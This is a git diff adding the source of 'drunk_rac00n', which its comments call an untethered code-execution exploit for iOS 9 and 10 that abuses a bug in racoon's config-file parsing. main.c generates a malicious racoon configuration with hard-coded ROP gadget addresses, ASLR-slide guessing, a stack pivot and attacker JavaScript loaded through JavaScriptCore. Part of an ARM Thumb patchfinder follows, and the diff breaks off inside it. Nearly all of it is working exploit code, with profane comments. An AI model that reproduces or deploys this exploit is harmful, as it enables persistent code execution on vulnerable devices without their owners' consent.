summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rwxr-xr-xsrc/common.h15
-rwxr-xr-xsrc/ip_tools.c24
-rwxr-xr-xsrc/ip_tools.h8
-rw-r--r--src/main.c497
-rw-r--r--src/patchfinder.c805
-rwxr-xr-xsrc/patchfinder.h14
-rw-r--r--src/shit.c32
-rw-r--r--src/shit.h6
-rwxr-xr-xsrc/stage0_primitives.c46
-rwxr-xr-xsrc/stage0_primitives.h10
-rwxr-xr-xsrc/stage1_primitives.c168
-rwxr-xr-xsrc/stage1_primitives.h19
-rw-r--r--src/stage2.c400
-rw-r--r--src/stage2.h40
14 files changed, 2084 insertions, 0 deletions
diff --git a/src/common.h b/src/common.h
new file mode 100755
index 0000000..8f5a32b
--- /dev/null
+++ b/src/common.h
@@ -0,0 +1,15 @@
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <stdint.h>
+#include <stdlib.h>
+
+struct racoon_offsets {
+ uint32_t dns4_offset;
+ uint32_t lc_conf_offset;
+ uint32_t stack_base;
+};
+
+extern char* fuck_memory_leaks;
+
+#endif \ No newline at end of file
diff --git a/src/ip_tools.c b/src/ip_tools.c
new file mode 100755
index 0000000..6e36b64
--- /dev/null
+++ b/src/ip_tools.c
@@ -0,0 +1,24 @@
+/*
+ * ip_tools
+ */
+
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#include "ip_tools.h"
+
+char* uint32_t_to_ip(uint32_t val) {
+ uint8_t byte1 = (val >> 0) & 0xff;
+ uint8_t byte2 = (val >> 8) & 0xff;
+ uint8_t byte3 = (val >> 16) & 0xff;
+ uint8_t byte4 = (val >> 24) & 0xff;
+ char* ret = NULL;
+
+ asprintf(&ret, "%u.%u.%u.%u",
+ byte1,
+ byte2,
+ byte3,
+ byte4);
+ return ret;
+} \ No newline at end of file
diff --git a/src/ip_tools.h b/src/ip_tools.h
new file mode 100755
index 0000000..a011094
--- /dev/null
+++ b/src/ip_tools.h
@@ -0,0 +1,8 @@
+#ifndef IP_TOOLS_H
+#define IP_TOOLS_H
+
+#include <stdint.h>
+
+char* uint32_t_to_ip(uint32_t val);
+
+#endif \ No newline at end of file
diff --git a/src/main.c b/src/main.c
new file mode 100644
index 0000000..b2f6d3f
--- /dev/null
+++ b/src/main.c
@@ -0,0 +1,497 @@
+/*
+ * drunk_rac00n
+ * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon
+ * config file bug. then ROP the shit out of racoon, and it remains to be seen
+ * what will be done after that. UPDATE THIS COMMENT!!!
+ */
+
+#include <stdbool.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <stdio.h>
+
+
+#include "stage1_primitives.h"
+#include "stage0_primitives.h"
+#include "patchfinder.h"
+#include "stage2.h"
+#include "ip_tools.h"
+#include "common.h"
+#include "shit.h"
+
+uint32_t DNS4_OFFSET;
+uint32_t LC_CONF_OFFSET;
+
+char* fuck_memory_leaks = NULL;
+
+FILE* fp = NULL;
+
+void help(void) {
+ fprintf(stderr,
+ "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n",
+ getprogname());
+}
+
+void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) {
+ uint8_t* new_what = (uint8_t*)what;
+ for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) {
+ fprintf(stderr, "0x016%llx: ", new_what);
+ for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) {
+ for (uint8_t* k = j; k < (j + col_split); k++) {
+ uint8_t val = *k;
+ if (new_what < (what + len)) {
+ fprintf(stderr, "%02x", val);
+ } else {
+ fprintf(stderr, " ");
+ }
+ }
+
+ fprintf(stderr, " ");
+ }
+
+ for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) {
+ uint8_t val = *j;
+ if (val < 0x20 || val >= 0x80) {
+ val = 0x2e;
+ }
+
+ fprintf(stderr, "%c", val);
+ }
+
+ fprintf(stderr, "\n");
+ }
+}
+
+void prim_hexdump_to_stderr(void* what, size_t len) {
+ for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) {
+ fprintf(stderr, "%02x", *new_what);
+ }
+
+ fprintf(stderr, "\n");
+}
+
+int main(int argc,
+ char* argv[]) {
+ uint8_t* buf = NULL;
+ size_t sz = -1;
+ char* bin_path = NULL;
+ char* js_path = NULL;
+ char* js_src = NULL;
+ FILE* bin = NULL;
+ FILE* js = NULL;
+ bool had_f = false;
+ bool had_j = false;
+ int c = -1;
+
+ fp = stdout;
+
+ fuck_memory_leaks = (char*)malloc(1048576);
+
+ if (argc < 2) {
+ help();
+ return -1;
+ }
+
+ while ((c = getopt(argc, argv, "hf:o:j:")) != -1) {
+ switch (c) {
+ case 'o':
+ fp = fopen(optarg, "w");
+ break;
+ case 'f':
+ bin_path = strdup(optarg);
+ had_f = true;
+ break;
+ case 'j':
+ js_path = strdup(optarg);
+ had_j = true;
+ break;
+ case 'h':
+ help();
+ return -1;
+ default:
+ help();
+ return -1;
+ }
+ }
+
+ if (!bin_path) {
+#if 0
+ fprintf(stderr,
+ had_f ? "error: failed to open racoon binary...\n"
+ : "error: racoon binary unspecified.\n");
+ return -1;
+#endif
+ bin = fopen("/usr/sbin/racoon", "rb");
+ } else {
+ bin = fopen(bin_path, "rb");
+ }
+
+ if (!had_j) {
+#if 0
+ fprintf(stderr,
+ had_j ? "error: failed to open JS code...\n"
+ : "error: JS code unspecified.\n");
+ return -1;
+#endif
+ js = fopen("lol.js", "rb");
+ } else {
+ js = fopen(js_path, "rb");
+ }
+
+ fseek(js, 0L, SEEK_END);
+ sz = ftell(js);
+ rewind(js);
+
+ js_src = (char*)malloc(sz);
+ fread(js_src, 1, sz, js);
+
+ fseek(bin, 0L, SEEK_END);
+ sz = ftell(bin);
+ rewind(bin);
+
+ buf = (uint8_t*)malloc(sz);
+ fread(buf, 1, sz, bin);
+ DNS4_OFFSET = find_dns4_offset(0, buf, sz);
+ LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz);
+ free(buf);
+
+ fprintf(stderr, "we out here\n");
+
+ fprintf(fp, "# drunk_rac00n exploit by @__spv\n");
+ fprintf(fp, "# this file is auto-generated by the p0laris untether,\n");
+ fprintf(fp, "# do not edit or delete!!!\n");
+ fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET);
+ fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET);
+ fprintf(fp, "# bin_path=\"%s\"\n", bin_path);
+ fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n",
+ __DATE__,
+ __TIME__,
+ __VERSION__,
+ __WHOAMI__,
+ __PWD__);
+ fprintf(fp, "# - with love from spv <3\n");
+ fprintf(fp, "\n");
+
+// uint32_t stack_base = 0x1c7738; // my shell setup
+// uint32_t stack_base = 0x1c7c88; // my 4s shell setup
+// uint32_t stack_base = 0x1c2e48; // my lldb
+ uint32_t stack_base = 0x1c7d68; // btserver env
+ uint32_t magic_trigger_addr = 0xb6074;
+
+ uint32_t mov_r0_0_bx_lr = 0x8d3e | 1;
+ uint32_t pop_r4_to_r7_pc = 0x781a | 1;
+ uint32_t mov_r0 = 0xee40 | 1;
+ uint32_t puts_addr = 0x9ac54;
+ uint32_t blx_r5 = 0x13012 | 1;
+ uint32_t malloc_addr = 0x9abdc;
+ uint32_t mov_r1_r0 = 0x72f76 | 1;
+ uint32_t nop = 0x781a | 1;
+ uint32_t printf_addr = 0x9ac30;
+ uint32_t exit_addr = 0x9a9a8;
+ uint32_t str_r0_r4 = 0x85474 | 1;
+ uint32_t ldr_r0_r0 = 0x397dc | 1;
+ uint32_t add_r0_r1 = 0x75cca | 1;
+ uint32_t pivot_addr = 0x75f18 | 1;
+ uint32_t pivot_to = 0x100000;
+ uint32_t weird_r3 = 0x75a3c | 1;
+ uint32_t other_weird_r3 = 0x8806 | 1;
+
+#if 0
+ fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr);
+ fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc);
+
+ mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1;
+ pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1;
+ mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1;
+// puts_addr =
+
+ fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr);
+ fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc);
+#endif
+
+// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz));
+// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz));
+
+ uint32_t scprefcreate_lazy_offset = 0xb4140;
+ uint32_t scprefcreate_dsc_offset = 0xce2065;
+
+ uint32_t we_out_here_addr = 0x1c5000;
+ uint32_t malloc_status_addr = 0x1c5100;
+ uint32_t dyld_status_addr = 0x1c5200;
+ uint32_t dyld_status2_addr = 0x1c5300;
+ uint32_t jsc_addr = 0x1c5400;
+ uint32_t dlopen_status_addr = 0x1c5500;
+ uint32_t dyld_shc_status_addr = 0x1c5600;
+ uint32_t reserve_addr = 0x1a0000;
+ uint32_t nulls_addr = 0x5000;
+ uint32_t time_addr = 0x1c5700;
+ uint32_t arg_addr = 0x1c5800;
+
+#if 0
+ for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) {
+ fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze));
+ }
+
+ fprintf(fp,
+ "%s",
+ write32_slid(magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+#endif
+
+#if 0
+// fprintf(fp,
+// "%s\n",
+// write32_unslid(0x41414141,
+// 0x42424242));
+ uint32_t guessed_slide = 0x1000;
+
+ for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) {
+ fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x));
+ }
+
+ /*
+ * trigger if right slide
+ *
+ * this trigger is kinda magic to me, basically it's writing to some
+ * error or status variable that the YACC/bison internal shit uses or
+ * something, and writing some different val makes it think there was
+ * and error or some shit, idk
+ */
+ fprintf(fp,
+ "%s",
+ write32_unslid(guessed_slide + magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+#endif
+
+ for (int slide = 0x1; slide <= 0x3; slide++) {
+ uint32_t base = slide << 12;
+ uint32_t slid_stack = stack_base + base;
+
+ char* we_out_here_str = NULL;
+ asprintf(&we_out_here_str,
+ "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n"
+ "[*] ROP 'til you die motherfuckers.",
+ slide);
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + we_out_here_addr,
+ we_out_here_str,
+ strlen(we_out_here_str) + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + malloc_status_addr,
+ "[*] malloc(...)\t\t\t= %p\n",
+ strlen("[*] malloc(...)\t\t\t= %p\n") + 1));
+
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_status_addr,
+ "[*] dyld_base\t\t\t= %p\n",
+ strlen("[*] dyld_base\t\t\t= %p\n") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_status2_addr,
+ "[*] *(uint32_t*)dyld_base\t= %p\n",
+ strlen("[*] *(uint32_t*)dyld_base\t= %p\n") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + jsc_addr,
+ "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore",
+ strlen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dlopen_status_addr,
+ "[*] dlopen(JavaScriptCore)\t= %p\n",
+ strlen("[*] dlopen(JavaScriptCore)\t= %p\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + dyld_shc_status_addr,
+ "[*] dyld_shared_cache base\t= %p\n",
+ strlen("[*] dyld_shared_cache base\t= %p\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + time_addr,
+ "[*] time\t\t\t= %d\n",
+ strlen("[*] time\t\t\t= %d\n") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(base + arg_addr,
+ "/untether/p0laris",
+ strlen("/untether/p0laris") + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x108000,
+ "var parent = new Uint8Array(0x100);"
+ "var child = new Uint8Array(0x100);"
+ ""
+ "function shitalloc() {"
+ " var fuck = new Array();"
+ " for (var i = 0; i < 0x800000; i++) {"
+ " fuck[i] = i;"
+ " }"
+ " delete fuck;"
+ "}"
+ ""
+ "shitalloc();",
+ strlen("var parent = new Uint8Array(0x100);"
+ "var child = new Uint8Array(0x100);") + 1));
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x10a000,
+ js_src,
+ strlen(js_src) + 1));
+
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(0x109000,
+ "still alive\n",
+ strlen("still alive\n") + 1));
+
+
+ rop_chain_shit chain_b0i = gen_rop_chain(base,
+ we_out_here_addr,
+ mov_r0,
+ puts_addr,
+ blx_r5,
+ nulls_addr,
+ malloc_addr,
+ mov_r1_r0,
+ nop,
+ malloc_status_addr,
+ printf_addr,
+ exit_addr,
+ str_r0_r4,
+ reserve_addr,
+ ldr_r0_r0,
+ add_r0_r1,
+ pivot_to + 0x10,
+ dyld_shc_status_addr,
+ scprefcreate_dsc_offset,
+ scprefcreate_lazy_offset,
+ weird_r3,
+ other_weird_r3);
+
+// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len);
+
+ fprintf(fp,
+ "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n",
+ chain_b0i->chain_len,
+ chain_b0i->chain_len,
+ (slide),
+ (slide << 12) + 0x4000);
+
+#if 0
+ for (int val = 0; val < (chain_b0i->chain_len / 4); val++) {
+ fprintf(fp,
+ "%s",
+ write32_unslid(slid_stack + (val * 4),
+ chain_b0i->teh_chain[val]));
+ }
+#endif
+
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141));
+ fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop));
+
+ /*
+ * use writebuf_unslid as it uses like 1/6th of the statements
+ */
+ fprintf(fp,
+ "%s",
+ writebuf_unslid(pivot_to + 0x10,
+ (char*)chain_b0i->teh_chain,
+ chain_b0i->chain_len));
+
+// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len);
+
+ /*
+ * trigger if right slide
+ *
+ * this trigger is kinda magic to me, basically it's writing to some
+ * error or status variable that the YACC/bison internal shit uses or
+ * something, and writing some different val makes it think there was
+ * and error or some shit, idk
+ */
+ fprintf(fp,
+ "%s",
+ write32_unslid(base + magic_trigger_addr,
+ 0x13371337));
+
+ /*
+ * dummy statement to run inet_pton to attempt the trigger if correct
+ * slide
+ */
+ fprintf(fp,
+ "mode_cfg{"
+ "dns41.1.1.1;"
+ "}");
+
+ /*
+ * we don't need no memory leaks round these parts
+ */
+ free(chain_b0i->teh_chain);
+ }
+
+ /*
+ * bail if the slide is wrong
+ */
+ fprintf(fp,
+ "%s\n",
+ write32_unslid(0x41414141,
+ 0x42424242));
+
+ free(js_src);
+ free(fuck_memory_leaks);
+
+// getc(stdin);
+
+ return 0;
+}
diff --git a/src/patchfinder.c b/src/patchfinder.c
new file mode 100644
index 0000000..7464d70
--- /dev/null
+++ b/src/patchfinder.c
@@ -0,0 +1,805 @@
+/*
+ * fucking shit patchfinder that does garbage patchfinding for this shit fuck
+ * exploit
+ */
+
+#include <mach/vm_types.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <stdint.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#include "patchfinder.h"
+#include "common.h"
+
+static uint32_t bit_range(uint32_t x, int start, int end) {
+ x = (x << (31 - start)) >> (31 - start);
+ x = (x >> end);
+ return x;
+}
+
+static uint32_t ror(uint32_t x, int places) {
+ return (x >> places) | (x << (32 - places));
+}
+
+static int thumb_expand_imm_c(uint16_t imm12) {
+ if (bit_range(imm12, 11, 10) == 0) {
+ switch (bit_range(imm12, 9, 8)) {
+ case 0:
+ return bit_range(imm12, 7, 0);
+ case 1:
+ return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0);
+ case 2:
+ return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8);
+ case 3:
+ return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0);
+ default:
+ return 0;
+ }
+ } else {
+ uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0);
+ return ror(unrotated_value, bit_range(imm12, 11, 7));
+ }
+}
+
+static int insn_is_32bit(uint16_t* i) {
+ return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;
+}
+
+static int insn_is_bl(uint16_t* i) {
+ if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000)
+ return 1;
+ else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000)
+ return 1;
+ else
+ return 0;
+}
+
+static uint32_t insn_bl_imm32(uint16_t* i) {
+ uint16_t insn0 = *i;
+ uint16_t insn1 = *(i + 1);
+ uint32_t s = (insn0 >> 10) & 1;
+ uint32_t j1 = (insn1 >> 13) & 1;
+ uint32_t j2 = (insn1 >> 11) & 1;
+ uint32_t i1 = ~(j1 ^ s) & 1;
+ uint32_t i2 = ~(j2 ^ s) & 1;
+ uint32_t imm10 = insn0 & 0x3ff;
+ uint32_t imm11 = insn1 & 0x7ff;
+ uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0);
+ return imm32;
+}
+
+static int insn_is_b_conditional(uint16_t* i) {
+ return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE;
+}
+
+static int insn_is_b_unconditional(uint16_t* i) {
+ if ((*i & 0xF800) == 0xE000)
+ return 1;
+ else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_is_ldr_literal(uint16_t* i) {
+ return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F;
+}
+
+static int insn_ldr_literal_rt(uint16_t* i) {
+ if ((*i & 0xF800) == 0x4800)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFF7F) == 0xF85F)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_ldr_literal_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x4800)
+ return (*i & 0xF) << 2;
+ else if ((*i & 0xFF7F) == 0xF85F)
+ return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1);
+ else
+ return 0;
+}
+
+// TODO: More encodings
+static int insn_is_ldr_imm(uint16_t* i) {
+ uint8_t opA = bit_range(*i, 15, 12);
+ uint8_t opB = bit_range(*i, 11, 9);
+
+ return opA == 6 && (opB & 4) == 4;
+}
+
+static int insn_ldr_imm_rt(uint16_t* i) {
+ return (*i & 7);
+}
+
+static int insn_ldr_imm_rn(uint16_t* i) {
+ return ((*i >> 3) & 7);
+}
+
+static int insn_ldr_imm_imm(uint16_t* i) {
+ return ((*i >> 6) & 0x1F);
+}
+
+// TODO: More encodings
+static int insn_is_ldrb_imm(uint16_t* i) {
+ return (*i & 0xF800) == 0x7800;
+}
+
+static int insn_ldrb_imm_rt(uint16_t* i) {
+ return (*i & 7);
+}
+
+static int insn_ldrb_imm_rn(uint16_t* i) {
+ return ((*i >> 3) & 7);
+}
+
+static int insn_ldrb_imm_imm(uint16_t* i) {
+ return ((*i >> 6) & 0x1F);
+}
+
+static int insn_is_ldr_reg(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_ldr_reg_rn(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return (*i >> 3) & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+int insn_ldr_reg_rt(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return *i & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+int insn_ldr_reg_rm(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return (*i >> 6) & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return *(i + 1) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_ldr_reg_lsl(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*(i + 1) >> 4) & 0x3;
+ else
+ return 0;
+}
+
+static int insn_is_add_reg(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return 1;
+ else if ((*i & 0xFF00) == 0x4400)
+ return 1;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_add_reg_rd(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return (*i & 7);
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i & 7) | ((*i & 0x80) >> 4) ;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return (*(i + 1) >> 8) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_add_reg_rn(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return ((*i >> 3) & 7);
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i & 7) | ((*i & 0x80) >> 4) ;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+static int insn_add_reg_rm(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return (*i >> 6) & 7;
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i >> 3) & 0xF;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return *(i + 1) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_is_movt(uint16_t* i) {
+ return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0;
+}
+
+static int insn_movt_rd(uint16_t* i) {
+ return (*(i + 1) >> 8) & 0xF;
+}
+
+static int insn_movt_imm(uint16_t* i) {
+ return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF);
+}
+
+static int insn_is_mov_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return 1;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return 1;
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_mov_imm_rd(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return (*(i + 1) >> 8) & 0xF;
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return (*(i + 1) >> 8) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_mov_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return *i & 0xF;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF);
+ else
+ return 0;
+}
+
+static int insn_is_cmp_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return 1;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_cmp_imm_rn(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return *i & 0xF;
+ else
+ return 0;
+}
+
+static int insn_cmp_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return *i & 0xFF;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+ else
+ return 0;
+}
+
+static int insn_is_and_imm(uint16_t* i) {
+ return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0;
+}
+
+static int insn_and_imm_rn(uint16_t* i) {
+ return *i & 0xF;
+}
+
+static int insn_and_imm_rd(uint16_t* i) {
+ return (*(i + 1) >> 8) & 0xF;
+}
+
+static int insn_and_imm_imm(uint16_t* i) {
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+}
+
+static int insn_is_push(uint16_t* i) {
+ if ((*i & 0xFE00) == 0xB400)
+ return 1;
+ else if (*i == 0xE92D)
+ return 1;
+ else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_push_registers(uint16_t* i) {
+ if ((*i & 0xFE00) == 0xB400)
+ return (*i & 0x00FF) | ((*i & 0x0100) << 6);
+ else if (*i == 0xE92D)
+ return *(i + 1);
+ else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04)
+ return 1 << ((*(i + 1) >> 12) & 0xF);
+ else
+ return 0;
+}
+
+static int insn_is_preamble_push(uint16_t* i) {
+ return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0;
+}
+
+static int insn_is_str_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 1;
+ else if ((*i & 0xF800) == 0x9000)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_postindexed(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 1;
+ else if ((*i & 0xF800) == 0x9000)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 10) & 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_wback(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 0;
+ else if ((*i & 0xF800) == 0x9000)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 8) & 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i & 0x07C0) >> 4;
+ else if ((*i & 0xF800) == 0x9000)
+ return (*i & 0xFF) << 2;
+ else if ((*i & 0xFFF0) == 0xF8C0)
